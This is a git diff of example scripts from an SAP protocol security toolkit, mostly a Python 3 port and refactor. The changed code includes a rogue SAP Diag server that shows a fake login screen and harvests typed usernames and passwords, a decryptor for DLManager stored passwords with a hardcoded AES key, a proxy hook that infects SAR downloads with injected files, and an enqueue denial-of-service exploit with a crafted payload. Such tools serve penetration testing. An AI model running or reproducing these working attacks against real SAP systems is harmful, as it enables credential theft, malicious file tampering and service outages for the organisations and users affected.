window_width=84, window_height=22), + item_type=16, item_id=12, item_sid=7), SAPDiagItem(item_value='SAP R/3 (1) %s ' % self.sid, item_type=16, item_id=12, item_sid=10), SAPDiagItem(item_value='SAPMSYST ', item_type=16, item_id=6, item_sid=15), SAPDiagItem(item_value='SAPMSYST ', item_type=16, item_id=6, item_sid=13), SAPDiagItem(item_value='0020 ', item_type=16, item_id=6, item_sid=16), - SAPDiagItem(item_value='0020', item_type=16, item_id=6, item_sid=14), - SAPDiagItem(item_value=SAPDiagMenuEntries(entries=[SAPDiagMenuEntry(accelerator='D', text=self.session_title, position_1=1, flag_TERM_VKEY=1, return_code_1=1, flag_TERM_SEL=1, length=24 + len(self.session_title)), - ]), item_type=18, item_id=11, item_sid=1), - SAPDiagItem(item_value=SAPDiagMenuEntries(entries=[SAPDiagMenuEntry(accelerator='', text='New password', virtual_key=5, return_code_1=5, info='New password', flag_TERM_SEL=1, length=47), - ]), item_type=18, item_id=11, item_sid=3), - SAPDiagItem(item_value=SAPDiagMenuEntries(entries=[SAPDiagMenuEntry(accelerator='', text='New password', virtual_key=5, position_1=1, flag_TERM_SEL=1, length=35), - SAPDiagMenuEntry(accelerator='', text='Log off', virtual_key=15, position_1=2, return_code_1=1, flag_TERM_SEL=1, length=30) - ]), item_type=18, item_id=11, item_sid=4), + SAPDiagItem(item_value='0020', item_type=16, item_id=6, item_sid=14), + SAPDiagItem(item_value=SAPDiagMenuEntries(entries=[ + SAPDiagMenuEntry(accelerator='D', text=self.session_title, position_1=1, + flag_TERM_VKEY=1, return_code_1=1, flag_TERM_SEL=1, + length=24 + len(self.session_title)), + ]), item_type=18, item_id=11, item_sid=1), + SAPDiagItem(item_value=SAPDiagMenuEntries(entries=[ + SAPDiagMenuEntry(accelerator='', text='New password', virtual_key=5, + return_code_1=5, info='New password', flag_TERM_SEL=1, length=47), + ]), item_type=18, item_id=11, item_sid=3), + SAPDiagItem(item_value=SAPDiagMenuEntries(entries=[ + SAPDiagMenuEntry(accelerator='', text='New password', virtual_key=5, + position_1=1, flag_TERM_SEL=1, length=35), + SAPDiagMenuEntry(accelerator='', text='Log off', virtual_key=15, + position_1=2, return_code_1=1, flag_TERM_SEL=1, length=30), + ]), item_type=18, item_id=11, item_sid=4), SAPDiagItem(item_value=self.session_title, item_type=16, item_id=12, item_sid=9), - SAPDiagItem(item_value=SAPDiagDyntAtom(items=[SAPDiagDyntAtomItem(field2_text='Client ', field2_maxnrchars=18, dlg_flag_2=2, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(dlg_flag_2=2, atom_length=24, name_text='RSYST-MANDT', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(field2_text=self.client, attr_DIAG_BSD_YES3D=1, field2_maxnrchars=3, atom_length=22, etype=130, field2_mlen=3, field2_dlen=3, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, atom_length=24, name_text='RSYST-MANDT', etype=114, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, atom_length=79, xmlprop_text='Client', etype=120, block=1, col=20), - SAPDiagDyntAtomItem(field2_text='User ', field2_maxnrchars=18, row=2, dlg_flag_2=3, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(row=2, dlg_flag_2=3, atom_length=24, name_text='RSYST-BNAME', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(field2_text='? ', attr_DIAG_BSD_YES3D=1, field2_maxnrchars=12, row=2, dlg_flag_2=1, atom_length=31, etype=130, field2_mlen=12, field2_dlen=12, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=2, dlg_flag_2=1, atom_length=24, name_text='RSYST-BNAME', etype=114, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=2, dlg_flag_2=1, atom_length=82, xmlprop_text='User name', etype=120, block=1, col=20), - SAPDiagDyntAtomItem(field2_text='@\\QUp to 40 Chars (Case-Sens.)@Password ', field2_maxnrchars=52, row=3, dlg_flag_2=3, dlg_flag_1=4, atom_length=71, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=52, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(row=3, dlg_flag_2=3, dlg_flag_1=4, atom_length=24, name_text='RSYST-BCODE', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(field2_text='? ', attr_DIAG_BSD_YES3D=1, field2_maxnrchars=40, row=3, dlg_flag_2=1, dlg_flag_1=4, atom_length=59, etype=130, attr_DIAG_BSD_INVISIBLE=1, field2_mlen=12, field2_dlen=40, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=3, dlg_flag_2=1, dlg_flag_1=4, atom_length=24, name_text='RSYST-BCODE', etype=114, attr_DIAG_BSD_INVISIBLE=1, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=3, dlg_flag_2=1, dlg_flag_1=4, atom_length=86, xmlprop_text='User password', etype=120, attr_DIAG_BSD_INVISIBLE=1, block=1, col=20), - SAPDiagDyntAtomItem(field2_text='Language ', field2_maxnrchars=18, row=5, dlg_flag_2=2, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(row=5, dlg_flag_2=2, atom_length=24, name_text='RSYST-LANGU', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - SAPDiagDyntAtomItem(field2_text=' ', attr_DIAG_BSD_YES3D=1, field2_maxnrchars=2, row=5, atom_length=21, etype=130, field2_mlen=2, field2_dlen=2, block=1, col=20), - SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=5, atom_length=24, name_text='RSYST-LANGU', etype=114, block=1, col=20), - SAPDiagDyntAtomItem(atom_length=81, attr_DIAG_BSD_YES3D=1, xmlprop_text='Language', etype=120, col=20, block=1, row=5), - SAPDiagDyntAtomItem(field2_text=self.session_title, field2_maxnrchars=18, row=7, dlg_flag_2=2, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), - ]), item_type=18, item_id=9, item_sid=2), + SAPDiagItem(item_value=SAPDiagDyntAtom(items=[ + SAPDiagDyntAtomItem(field2_text='Client ', field2_maxnrchars=18, dlg_flag_2=2, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(dlg_flag_2=2, atom_length=24, name_text='RSYST-MANDT', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(field2_text=self.client, attr_DIAG_BSD_YES3D=1, field2_maxnrchars=3, atom_length=22, etype=130, field2_mlen=3, field2_dlen=3, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, atom_length=24, name_text='RSYST-MANDT', etype=114, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, atom_length=79, xmlprop_text='Client', etype=120, block=1, col=20), + SAPDiagDyntAtomItem(field2_text='User ', field2_maxnrchars=18, row=2, dlg_flag_2=3, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(row=2, dlg_flag_2=3, atom_length=24, name_text='RSYST-BNAME', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(field2_text='? ', attr_DIAG_BSD_YES3D=1, field2_maxnrchars=12, row=2, dlg_flag_2=1, atom_length=31, etype=130, field2_mlen=12, field2_dlen=12, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=2, dlg_flag_2=1, atom_length=24, name_text='RSYST-BNAME', etype=114, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=2, dlg_flag_2=1, atom_length=82, xmlprop_text='User name', etype=120, block=1, col=20), + SAPDiagDyntAtomItem(field2_text='@\\QUp to 40 Chars (Case-Sens.)@Password ', field2_maxnrchars=52, row=3, dlg_flag_2=3, dlg_flag_1=4, atom_length=71, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=52, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(row=3, dlg_flag_2=3, dlg_flag_1=4, atom_length=24, name_text='RSYST-BCODE', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(field2_text='? ', attr_DIAG_BSD_YES3D=1, field2_maxnrchars=40, row=3, dlg_flag_2=1, dlg_flag_1=4, atom_length=59, etype=130, attr_DIAG_BSD_INVISIBLE=1, field2_mlen=12, field2_dlen=40, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=3, dlg_flag_2=1, dlg_flag_1=4, atom_length=24, name_text='RSYST-BCODE', etype=114, attr_DIAG_BSD_INVISIBLE=1, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=3, dlg_flag_2=1, dlg_flag_1=4, atom_length=86, xmlprop_text='User password', etype=120, attr_DIAG_BSD_INVISIBLE=1, block=1, col=20), + SAPDiagDyntAtomItem(field2_text='Language ', field2_maxnrchars=18, row=5, dlg_flag_2=2, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(row=5, dlg_flag_2=2, atom_length=24, name_text='RSYST-LANGU', etype=114, attr_DIAG_BSD_PROTECTED=1, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + SAPDiagDyntAtomItem(field2_text=' ', attr_DIAG_BSD_YES3D=1, field2_maxnrchars=2, row=5, atom_length=21, etype=130, field2_mlen=2, field2_dlen=2, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, row=5, atom_length=24, name_text='RSYST-LANGU', etype=114, block=1, col=20), + SAPDiagDyntAtomItem(attr_DIAG_BSD_YES3D=1, atom_length=81, xmlprop_text='Language', etype=120, col=20, block=1, row=5), + SAPDiagDyntAtomItem(field2_text=self.session_title, field2_maxnrchars=18, row=7, dlg_flag_2=2, atom_length=37, etype=132, attr_DIAG_BSD_PROTECTED=1, field2_mlen=18, field2_dlen=18, attr_DIAG_BSD_PROPFONT=1, block=1, col=1), + ]), item_type=18, item_id=9, item_sid=2), ] def make_error_screen(self, message): - return [SAPDiagItem(item_value=support_data_sapnw_702, item_type=16, item_id=6, item_sid=17), - SAPDiagItem(item_value='808D17E1E8DBF1D0B43C000C297D2E11', item_type=16, item_id=6, item_sid=33), - SAPDiagItem(item_value='\x01\x80\x8d\x17\xe1\xe8\xdb\xf1\xd2\xb4<\x00\x0c)}.\x11\x01', item_type=16, item_id=6, item_sid=31), - SAPDiagItem(item_value=self.sid, item_type=16, item_id=6, item_sid=2), - SAPDiagItem(item_value=self.client, item_type=16, item_id=6, item_sid=12), - SAPDiagItem(item_value=self.hostname, item_type=16, item_id=6, item_sid=33), - SAPDiagItem(item_value='TRADESHOW\x00', item_type=16, item_id=6, item_sid=37), - SAPDiagItem(item_value='702\x007200\x0070\x00', item_type=16, item_id=6, item_sid=41), - SAPDiagItem(item_value='SAP R/3 (1) %s ' % self.sid, item_type=16, item_id=12, item_sid=10), - SAPDiagItem(item_value='SAPMSYST ', item_type=16, item_id=6, item_sid=15), - SAPDiagItem(item_value='0020 ', item_type=16, item_id=6, item_sid=16), - SAPDiagItem(item_value='SAPMSYST ', item_type=16, item_id=6, item_sid=13), - SAPDiagItem(item_value='0020', item_type=16, item_id=6, item_sid=14), - SAPDiagItem(item_value=self.session_title, item_type=16, item_id=12, item_sid=9), - SAPDiagItem(item_value=message, item_type=16, item_id=6, item_sid=11), - ] + return [ + SAPDiagItem(item_value=support_data_sapnw_702, item_type=16, item_id=6, item_sid=17), + SAPDiagItem(item_value='808D17E1E8DBF1D0B43C000C297D2E11', item_type=16, item_id=6, item_sid=33), + SAPDiagItem(item_value='\x01\x80\x8d\x17\xe1\xe8\xdb\xf1\xd2\xb4<\x00\x0c)}.\x11\x01', item_type=16, item_id=6, item_sid=31), + SAPDiagItem(item_value=self.sid, item_type=16, item_id=6, item_sid=2), + SAPDiagItem(item_value=self.client, item_type=16, item_id=6, item_sid=12), + SAPDiagItem(item_value=self.hostname, item_type=16, item_id=6, item_sid=33), + SAPDiagItem(item_value='TRADESHOW\x00', item_type=16, item_id=6, item_sid=37), + SAPDiagItem(item_value='702\x007200\x0070\x00', item_type=16, item_id=6, item_sid=41), + SAPDiagItem(item_value='SAP R/3 (1) %s ' % self.sid, item_type=16, item_id=12, item_sid=10), + SAPDiagItem(item_value='SAPMSYST ', item_type=16, item_id=6, item_sid=15), + SAPDiagItem(item_value='0020 ', item_type=16, item_id=6, item_sid=16), + SAPDiagItem(item_value='SAPMSYST ', item_type=16, item_id=6, item_sid=13), + SAPDiagItem(item_value='0020', item_type=16, item_id=6, item_sid=14), + SAPDiagItem(item_value=self.session_title, item_type=16, item_id=12, item_sid=9), + SAPDiagItem(item_value=message, item_type=16, item_id=6, item_sid=11), + ] + + # ------------------------------------------------------------------ + # Connection lifecycle + # ------------------------------------------------------------------ def logoff(self): - print("[*] Logging off the client %s" % str(self.client_address)) + addr = str(self.client_address) + print("[*] Logging off the client %s" % addr) try: self.request.send(SAPDiag(com_flag_TERM_EOP=1, com_flag_TERM_EOC=1, compress=0)) self.request.close() except error: pass - del(self.server.clients[self.client_address]) + del self.server.clients[self.client_address] def handle_data(self): + addr = str(self.client_address) if self.client_address in self.server.clients and self.server.clients[self.client_address].init: - print("[*] Already initialized client %s" % str(self.client_address)) + print("[*] Already initialized client %s" % addr) self.handle_msg() else: - print("[*] Uninitialized client %s" % str(self.client_address)) + print("[*] Uninitialized client %s" % addr) self.handle_init() def handle_init(self): - # For initialization we need to decode the packet as SAPDiagDP + addr = str(self.client_address) self.packet.decode_payload_as(SAPDiagDP) if SAPDiagDP in self.packet: - self.server.clients[self.client_address].init = True + self.server.clients[self.client_address].init = True self.server.clients[self.client_address].terminal = self.packet[SAPDiagDP].terminal - print("[*] Client %s set to initialized (terminal: %s)" % (str(self.client_address), - self.server.clients[self.client_address].terminal)) + print("[*] Client %s set to initialized (terminal: %s)" % ( + addr, self.server.clients[self.client_address].terminal)) self.request.send(SAPDiag(compress=0, message=self.make_login_screen())) else: - print("[-] Error during initialization of client %s" % str(self.client_address)) + print("[-] Error during initialization of client %s" % addr) self.logoff() + # ------------------------------------------------------------------ + # Message handling + # ------------------------------------------------------------------ + def handle_msg(self): - print("[*] Received message from client %s" % str(self.client_address)) + addr = str(self.client_address) + print("[*] Received message from client %s" % addr) diag = self.packet[SAPDiag] - # Handle exit transaction (OK CODE = /i) - if len(diag.get_item("APPL", "VARINFO", "OKCODE")) > 0 and diag.get_item("APPL", "VARINFO", "OKCODE")[0].item_value == "/i": - print("[*] Windows closed by the client %s" % str(self.client_address)) - self.logoff() - - # Handle events (UI EVENT SOURCE) - elif diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE"): - print("[*] UI Event sent by the client %s" % str(self.client_address)) - ui_event_source = diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE")[0].item_value - - # Handle function key - if ui_event_source.valid_functionkey_data: - # Handle logoff event - if ui_event_source.event_type == 7 and ui_event_source.control_type == 10 and ui_event_source.event_data == 15: - print("[*] Logoff sent by the client %s" % str(self.client_address)) - self.logoff() + if self.server.options.verbose: + self._dump_items(diag) + + # Logoff via OK code + okcode_items = diag.get_item("APPL", "VARINFO", "OKCODE") + if okcode_items: + okcode = okcode_items[0].item_value + if isinstance(okcode, bytes): + okcode = okcode.decode("utf-8", errors="replace").strip("\x00") + if okcode == "/i": + print("[*] Windows closed by the client %s" % addr) + self.logoff() + return + + # UI events + ui_items = diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE") + if ui_items: + print("[*] UI Event sent by the client %s" % addr) + src = ui_items[0].item_value + + if src.valid_functionkey_data: + if src.event_type == 7 and src.control_type == 10: + if src.event_data == 15: + print("[*] Logoff sent by the client %s" % addr) + self.logoff() + return + if src.event_data == 0: + print("[*] Enter sent by the client %s" % addr) + self._handle_credentials(diag) + return + + elif src.valid_menu_pos: + print("[*] Menu event sent by the client %s" % addr) + return + else: + print("[*] Other event sent by the client %s" % addr) + return - # Handle enter event - elif ui_event_source.event_type == 7 and ui_event_source.control_type == 10 and ui_event_source.event_data == 0: - print("[*] Enter sent by the client %s" % str(self.client_address)) + # Credentials can also arrive without a UI event (SAP GUI for Windows) + self._handle_credentials(diag) - # Handle menu option - elif ui_event_source.valid_menu_pos: - print("[*] Menu event sent by the client %s" % str(self.client_address)) + def _handle_credentials(self, diag): + """Extract and print captured credentials, then respond to the client.""" + addr = str(self.client_address) - else: - print("[*] Other event sent by the client %s" % str(self.client_address)) - - # Handle login request (DYNT Atom == \x00) - atoms = diag.get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") - if atoms: - print("[*] Login request sent by the client %s" % str(self.client_address)) - # Print the Atom items information + fields = self._extract_credentials(diag) + if fields is not None: + print("[*] Login request sent by the client %s" % addr) print("[*] Input fields:") - for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]: - if atom.etype in [121, 122, 123, 130, 131, 132]: - text = atom.field1_text or atom.field2_text - text = text.strip() - if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0: - # If the invisible flag was set, we're probably - # dealing with a password field - print("[*]\tPassword field:\t%s" % (text)) - else: - print("[*]\tRegular field:\t%s" % (text)) - - print("[*] Sending error message to client %s" % str(self.client_address)) + for value, invisible in fields: + label = "Password field" if invisible else "Regular field" + print("[*]\t%s:\t%s" % (label, value)) + print("[*] Sending error message to client %s" % addr) self.request.send(SAPDiag(compress=1, message=self.make_error_screen("Thanks for your credentials !!!"))) - - # Otherwise we send an error message else: - print("[*] Sending error message to client %s" % str(self.client_address)) + print("[*] Sending error message to client %s" % addr) try: - self.request.send(SAPDiag(compress=0, message=self.make_error_screen("E: Unable to process your request, try later"))) + self.request.send(SAPDiag(compress=0, message=self.make_error_screen( + "E: Unable to process your request, try later"))) except error: pass + def _extract_credentials(self, diag): + """Return a list of (value, invisible) tuples from DYNN/CHL or DYNT_ATOM items. + + Returns None if no credential items are found. + SAP GUI for Java uses DYNN/CHL; SAP GUI for Windows uses DYNT_ATOM. + """ + # SAP GUI for Java + dynn_items = diag.get_item("APPL", "DYNN", "CHL") + if dynn_items: + result = [] + for item in dynn_items: + for _row, _col, value, invisible in parse_dynn_chl(bytes(item.item_value)): + if value.strip(): + result.append((value, invisible)) + return result if result else None + + # SAP GUI for Windows + atoms = diag.get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") + if atoms: + result = [] + for atom_item in atoms: + for atom in atom_item.item_value.items: + if atom.etype not in (121, 122, 123, 130, 131, 132): + continue + text = atom.field1_text if atom.field1_text else atom.field2_text + if isinstance(text, bytes): + text = text.decode("utf-8", errors="replace") + text = text.strip() + if text: + result.append((text, bool(atom.attr_DIAG_BSD_INVISIBLE))) + return result if result else None + + return None + + def _dump_items(self, diag): + print("[*] Items in packet:") + for item in diag.message: + val = bytes(item.item_value) + print(" type=%s id=%s sid=%s len=%d value=%r" % ( + item.item_type, item.item_id, item.item_sid, len(val), val[:200])) + class SAPDiagThreadedServer(SAPNIServerThreaded): clients_cls = SAPDiagClient -# Command line options parser def parse_options(): - - description = "This example script implements a rogue server using the Diag protocol. It offers users a " \ - "customizable login screen and gathers entered credentials. Tested with SAP Gui for Java 7.20 Patch "\ - "Level 5 running on Ubuntu." - + description = ("This example script implements a rogue server using the Diag protocol. " + "It offers users a customizable login screen and gathers entered credentials. " + "Tested with SAP GUI for Java 7.20 Patch Level 5 running on Ubuntu.") usage = "%(prog)s [options]" - parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) local = parser.add_argument_group("Local") @@ -246,11 +342,11 @@ def parse_options(): help="Local port [%(default)d]") server = parser.add_argument_group("Server") - server.add_argument("--sid", dest="server_sid", default="PRD", + server.add_argument("--sid", dest="server_sid", default="PRD", help="System ID [%(default)s]") - server.add_argument("--client", dest="server_client", default="001", + server.add_argument("--client", dest="server_client", default="001", help="Default Client [%(default)s]") - server.add_argument("--hostname", dest="server_hostname", default="SAPNWPRD", + server.add_argument("--hostname", dest="server_hostname", default="SAPNWPRD", help="Hostname [%(default)s]") server.add_argument("--session-title", dest="server_session_title", default="SAP Netweaver Demo Server", help="Session Title [%(default)s]") @@ -258,12 +354,9 @@ def parse_options(): misc = parser.add_argument_group("Misc options") misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") - options = parser.parse_args() - - return options + return parser.parse_args() -# Main function def main(): options = parse_options() diff --git a/examples/dlmanager_decrypt.py b/examples/dlmanager_decrypt.py index 6c59649b..ed713273 100755 --- a/examples/dlmanager_decrypt.py +++ b/examples/dlmanager_decrypt.py @@ -33,13 +33,17 @@ def parse_java(f): def h(s): - return ' '.join('%.2X' % ord(x) for x in s) # format as hex + if isinstance(s, (bytes, bytearray)): + return ' '.join('%.2X' % x for x in s) + return ' '.join('%.2X' % ord(x) for x in s) def p(s): - return sum(ord(x)*256**i for i, x in enumerate(reversed(s))) # parse integer + if isinstance(s, (bytes, bytearray)): + return sum(x * 256**i for i, x in enumerate(reversed(s))) + return sum(ord(x) * 256**i for i, x in enumerate(reversed(s))) magic = f.read(2) - assert magic == '\xAC\xED', h(magic) # STREAM_MAGIC + assert magic == b'\xAC\xED', h(magic) # STREAM_MAGIC assert p(f.read(2)) == 5 # STREAM_VERSION handles = [] @@ -47,17 +51,17 @@ def parse_obj(): b = f.read(1) if not b: raise StopIteration # not necessarily the best thing to throw here. - if b == '\x70': # p TC_NULL + if b == b'\x70': # p TC_NULL return None - elif b == '\x71': # q TC_REFERENCE + elif b == b'\x71': # q TC_REFERENCE handle = p(f.read(4)) - 0x7E0000 # baseWireHandle o = handles[handle] return o[1] - elif b == '\x74': # t TC_STRING + elif b == b'\x74': # t TC_STRING string = f.read(p(f.read(2))).decode('utf-8') handles.append(('TC_STRING', string)) return string - elif b == '\x75': # u TC_ARRAY + elif b == b'\x75': # u TC_ARRAY data = [] cls = parse_obj() size = p(f.read(4)) @@ -66,32 +70,32 @@ def parse_obj(): for x in range(size): data.append(f.read({'[B': 1, '[I': 4}[cls['_name']])) return data - elif b == '\x7E': # ~ TC_ENUM + elif b == b'\x7E': # ~ TC_ENUM enum = {} enum['_cls'] = parse_obj() handles.append(('TC_ENUM', enum)) enum['_name'] = parse_obj() return enum - elif b == '\x72': # r TC_CLASSDESC + elif b == b'\x72': # r TC_CLASSDESC cls = {'fields': []} - full_name = f.read(p(f.read(2))) + full_name = f.read(p(f.read(2))).decode('latin-1') cls['_name'] = full_name.split('.')[-1] # i don't care about full path f.read(8) # uid - cls['flags'] = f.read(1) + cls['flags'] = f.read(1).decode('latin-1') handles.append(('TC_CLASSDESC', cls)) - assert cls['flags'] in ('\2', '\3', '\x0C', '\x12'), h(cls['flags']) + assert cls['flags'] in ('\x02', '\x03', '\x0C', '\x12'), h(cls['flags'].encode('latin-1')) b = f.read(2) for i in range(p(b)): - typ = f.read(1) - name = f.read(p(f.read(2))) + typ = f.read(1).decode('latin-1') + name = f.read(p(f.read(2))).decode('latin-1') fcls = parse_obj() if typ in 'L[' else '' cls['fields'].append((name, typ, fcls.split('/')[-1])) # don't care about full path b = f.read(1) - assert b == '\x78', h(b) + assert b == b'\x78', h(b) cls['parent'] = parse_obj() return cls # TC_OBJECT - assert b == '\x73', (h(b), h(f.read(4)), repr(f.read(50))) + assert b == b'\x73', (h(b), h(f.read(4)), repr(f.read(50))) obj = {'_cls': parse_obj()} obj['_name'] = obj['_cls']['_name'] handle = len(handles) @@ -100,7 +104,7 @@ def parse_obj(): parents.insert(0, parents[0]['parent']) handles.append(('TC_OBJECT', obj)) for cls in parents: - for name, typ, fcls in cls['fields'] if cls['flags'] in ('\2', '\3') else []: + for name, typ, fcls in cls['fields'] if cls['flags'] in ('\x02', '\x03') else []: if typ == 'I': # Integer obj[name] = p(f.read(4)) elif typ == 'S': # Short @@ -119,9 +123,9 @@ def parse_obj(): obj[name] = parse_obj() else: # Unknown assert False, (name, typ, fcls) - if cls['flags'] in ('\3', '\x0C'): # SC_WRITE_METHOD, SC_BLOCKDATA + if cls['flags'] in ('\x03', '\x0C'): # SC_WRITE_METHOD, SC_BLOCKDATA b = f.read(1) - if b == '\x77': # see the readObject / writeObject methods + if b == b'\x77': # see the readObject / writeObject methods block = f.read(p(f.read(1))) if cls['_name'].endswith('HashMap') or cls['_name'].endswith('Hashtable'): # http://javasourcecode.org/html/open-source/jdk/jdk-6u23/java/util/HashMap.java.html @@ -153,7 +157,7 @@ def parse_obj(): else: assert False, cls['_name'] b = f.read(1) - assert b == '\x78', h(b) + ' ' + repr(f.read(30)) # TC_ENDBLOCKDATA + assert b == b'\x78', h(b) + ' ' + repr(f.read(30)) # TC_ENDBLOCKDATA handles[handle] = ('py', obj) return obj objs = [] @@ -168,7 +172,7 @@ def parse_config_file(filename, decrypt=False, serial_number=None): print("[*] Opening DLManager config file: %s" % filename) try: - with open(filename, 'r') as fil: + with open(filename, 'rb') as fil: data = parse_java(fil)[0]["data"] except: print("[-] Error reading configuration file or invalid file") @@ -192,14 +196,15 @@ def build_key(serial_number): key = "hgjZ@Fk*0!N%0Un*" if serial_number: key = serial_number + key - return key[:16] + return key[:16].encode('utf-8') def decrypt(cipher_text, key): - iv = "\x00" * 16 + iv = b"\x00" * 16 decryptor = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()).decryptor() plain_text = decryptor.update(cipher_text) + decryptor.finalize() - plain_text = plain_text[0:-ord(plain_text[-1])] # Unpad the plain text + pad_len = plain_text[-1] # Python 3: bytes index returns int + plain_text = plain_text[:-pad_len] # Unpad the plain text return plain_text @@ -223,7 +228,7 @@ def unwrap(value, encrypted=False, serial_number=None): else: try: - unwrapped = b"".join(map(chr, unwrapped)) + unwrapped = "".join(map(chr, unwrapped)) except ValueError: print("[-] Invalid stored value. Maybe it's encrypted?") unwrapped = None @@ -259,7 +264,7 @@ def main(): parser.add_argument("-f", "--filename", dest="filename", metavar="FILE", help="DLManager config filename") parser.add_argument("-e", "--encrypted", dest="encrypted", action="store_true", - help="If passwords are stored encrypted (version >= 2.1.140a)") + help="If passwords are stored encrypted (version >= 2.1.140a) (Windows only!)") parser.add_argument("-s", "--serial-number", dest="serial_number", help="The machine's BIOS serial number") parser.add_argument("-r", "--retrieve-serial-number", dest="retrieve", action="store_true", diff --git a/examples/dlmanager_infector.py b/examples/dlmanager_infector.py index 0bb7e46e..4242b742 100755 --- a/examples/dlmanager_infector.py +++ b/examples/dlmanager_infector.py @@ -62,7 +62,7 @@ def parse_options(args=None, req_filename=True): usage = "%(prog)s [options] " if req_filename: usage += "-f " - usage += "[ ]" + usage += "[ ]" parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) @@ -159,7 +159,7 @@ def response(context, flow): infect_sar_file(fil.name, context.inject_files) context.log("SAR file infected !") - with open(fil.name, "r") as new_fil: + with open(fil.name, "rb") as new_fil: content = new_fil.read() flow.response.content = content diff --git a/examples/enqueue_dos_exploit.py b/examples/enqueue_dos_exploit.py index a5bde4d5..6685337e 100755 --- a/examples/enqueue_dos_exploit.py +++ b/examples/enqueue_dos_exploit.py @@ -129,9 +129,9 @@ def main(): options.remote_port)) # Crafting the item - payload = Raw("\x06\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00" - "\x00\x00\x00\x03Vahagn-pc_5276_0\x00\x00\x00\x00\x02\x00\x00\x00;\x00\x00\x00\x05\x00\x00\x00\x03" - "\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x01") + payload = Raw(b"\x06\x01\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00" + b"\x00\x00\x00\x03Vahagn-pc_5276_0\x00\x00\x00\x00\x02\x00\x00\x00;\x00\x00\x00\x05\x00\x00\x00\x03" + b"\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x01") item = SAPEnqueue(len_frag=89, id=0, more_frags=129, type=187, dest=243, len=89, opcode=160)/payload try: diff --git a/examples/enqueue_monitor.py b/examples/enqueue_monitor.py index 1be52f81..0ffad23b 100755 --- a/examples/enqueue_monitor.py +++ b/examples/enqueue_monitor.py @@ -51,6 +51,8 @@ def __init__(self, options): self.runtimeoptions["client_recv_length"] = 1000 